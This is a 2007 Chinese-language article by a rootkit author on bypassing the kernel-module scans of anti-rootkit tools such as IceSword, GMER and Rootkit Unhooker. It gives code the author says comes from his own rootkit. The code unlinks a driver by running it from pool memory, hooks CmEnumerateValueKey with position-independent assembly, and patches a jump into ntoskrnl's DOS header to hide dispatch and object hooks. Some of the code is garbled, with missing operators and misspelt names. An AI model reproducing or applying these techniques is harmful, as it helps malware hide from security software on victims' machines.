饶过现代Anti - Rookit工具的内核模块扫描
( Bypass modern anti - rootkit tools 's kernel mode scan)

MJ0011
th_decoder@126
. com
2007 - 10 - 24


本文描述了一些方法,可以饶过目前主流的现代Anti - rootkit工具,包括但不限于 :
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti
- rootkit最新版
等等


目前的anti
- rootkit工具中,对于内核模块主要采用如下几种扫描方式 :

1. 恢复ZwQuerySystemInformation的hook , 然后利用功能号SystemModuleInformation进行枚举
例如Icesword

2. 遍历PsLoadModuleList , Driver / Device / Section Object链 , 或者TypeList链等 ( 总之是找驱动相关对象 ) 进行枚举
例如Rootkit Unhooker
, Gmer等

3. 内核镜象暴力搜索 , 搜索MZ , PE等等标志结合进行判断内存里是否有PE镜象 , 如rootkit unhooker , rutkowska的modgreper等,通常只能显示为unknow image

4. 函数引用 , 各种routine\hook等 , 先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用 , 或者是根据各种 routine ( dispatch routine , IDT , Image Notfiy等 ) 或各种hook ( inline  hook , iat / eat hook等等 ) ,通常只能显示为unknow image或unknow xxx handler等

5. 使用系统ImageLoad Notfiy , 使用一个BOOT驱动,记录所有模块load的消息 , 检测时进行分析 如AVG Anti - rootkit等


先说饶过
1 , 2 , 3 , 5 的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码
/ 函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL .

这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法

我的某个RK里是这样做的,例如A Function用来hook 系统函数B
, 其中需要调用系统函数C,

那么分配一块内存,大小
len ( A ) +  sizeof ( ULONG ) *  2

在内存的前两个DWORD放OrgB , 以及C的地址,后面开始放函数代码

函数中使用call 
+ 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C

当然也可以在COPY入内存前自己用绝对地址定位函数
~ 不过不如这个方法灵活

相关代码
:
//hook call CmEnumerateValueKey

void  InstallCMRegHook ()
{
    
PVOID _CmEnumerateKeyValueLoc  ;
   

    
_CmEnumerateKeyValueLoc  FindCmEnumerateValueKey ();
    
//找到 call CmEnumerateValueKey

    
HookCodeLen  = ( ULONG ) NopFunc8  - ( ULONG ) NewCmEnumerateValueKey  ;
    
//获得NewCmEnumerateValueKey长度

    
HookCode3  ExAllocatePoolWithTag ( NonPagedPool  ,
    
HookCodeLen  ,
    
MEM_TAG_HOOKCODE3 );
   
    
//分配内存

    
*( ULONG *) HookCode3  = *( ULONG *) _CmEnumerateKeyValueLoc  ;
   
    
//原函数地址放入内存

    
RtlCopyMemory (( PVOID ) HookCode3  sizeof ( ULONG ) , ( PVOID ) NewCmEnumerateValueKey  , HookCodeLen );

    
//copy函数代码

    
DO_SPINLOCK ();
    *(
ULONG *) _CmEnumerateValueKeyLoc  HookCode3  sizeof ( ULONG );

    
//进行HOOK

    
EXIT_SPINLOCK ();
    
return  ;
   
}

NTSTATUS NewCmEnumearateValueKey ( IN PVOID    KeyControlBlock ,
    
IN ULONG Index ,
    
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass ,
    
IN PVOID KeyValueInformation ,
    
IN ULONG KeyLength ,
    
IN PULONG ResultLength
    
)
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址

    
__asm
    
{
        
push    eax
        call    __
__
:
        
POP        eax
        SUB        eax
, offset __
        add        eax
, offset NewCmEnumearateValueKey

; 获得函数开始地址

        sub        eax
, 4   
        
mov        eax ,[ eax ]

;
获得OrgCmEnumerateValueKey

        push    ResultLength
        push    KeyLength
        push    KeyValueInformation
        push    KeyValueInformationClass
        push    Index
        push    KeyControlBlock
        call    eax   
        mov        stat
eax
; 调用原始函数
        pop        eax
    
}

//.....其他处理
//
//.....
}


void  NopFunc8 ()
{
    
__asm
    
{
        
nop
        nop
        nop
    
}
    
return  ;
}

//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位


这样,基于ZwQuerySystemInformation , PsLoadModuleList , 对象目录,Type链 , ImageLoad , 暴力PE搜索 ( 因为我们压根就没有PE镜象 , just one piece of code ~)...

接下来看如何饶过 4. 中的检测方式

1.Hook 常用函数 : 这个很简单了,恢复自己要用的函数 ~ 或者压根就不用那些函数,HOOK代码大部分都是数据过滤 / 处理部分,所以完全可以一个系统函数也不调 ...

2. 各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook , 因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中 ( 类似的还有object hook , pxxxx hook等 ), 使用此方法的例如rootkit unhooker gmer等

只要我们先使用这样的方法,就可以饶过检测,让Anti
- rootkit工具不知道是我们的模块HOOK了这里 :

先将dispatch地址跳转到code section中不用的部分, 5 个字节就足够了,然后在这 5 个字节里使用jmp指令再跳到我们的模块里,这样Anti - rootkit工具检测时 , 就会发现dispatch routine仍然在该模块的code section中

通过这种方法也可以饶过对dispatch hook\object hook的检测

inline  hook / iat / eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到  ^-^

即使Anti - rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描 , 我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:)

一个简单的双段跳饶过object hook检测的代码
:
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK
:
ULONG InsideHookCode ( ULONG NewAddress  ULONG BaseCode  )
{
//该函数用于将hook代码转接到模块的DOS头中

    //in :NewAddress: real hookcode to jump
    //in :ModuleName: kernel module base address to inject
    //out :NewJump Address

ULONG TempCode  BaseCode  ;

    
TempCode  TempCode  sizeof ( IMAGE_DOS_HEADER ) ;
    
//into DOS stub

    
DO_SPINLOCK ();
    
WPOFF ();
   
    *(
BYTE *) TempCode  0xe9  ;
    
__asm
    
{
        
push    eax
        push    ecx
        mov        ecx
TempCode
        mov        eax
NewAddress
        sub        eax
ecx
        sub        eax
5
        
mov        dword ptr [ ecx + 1 ] ,  eax
        pop        ecx
        pop        eax
    
}
   
    
WPON ();
    
EXIT_SPINLOCK ();

    
//write jmp NewAddress into DOS stub
    
return  TempCode  ;
}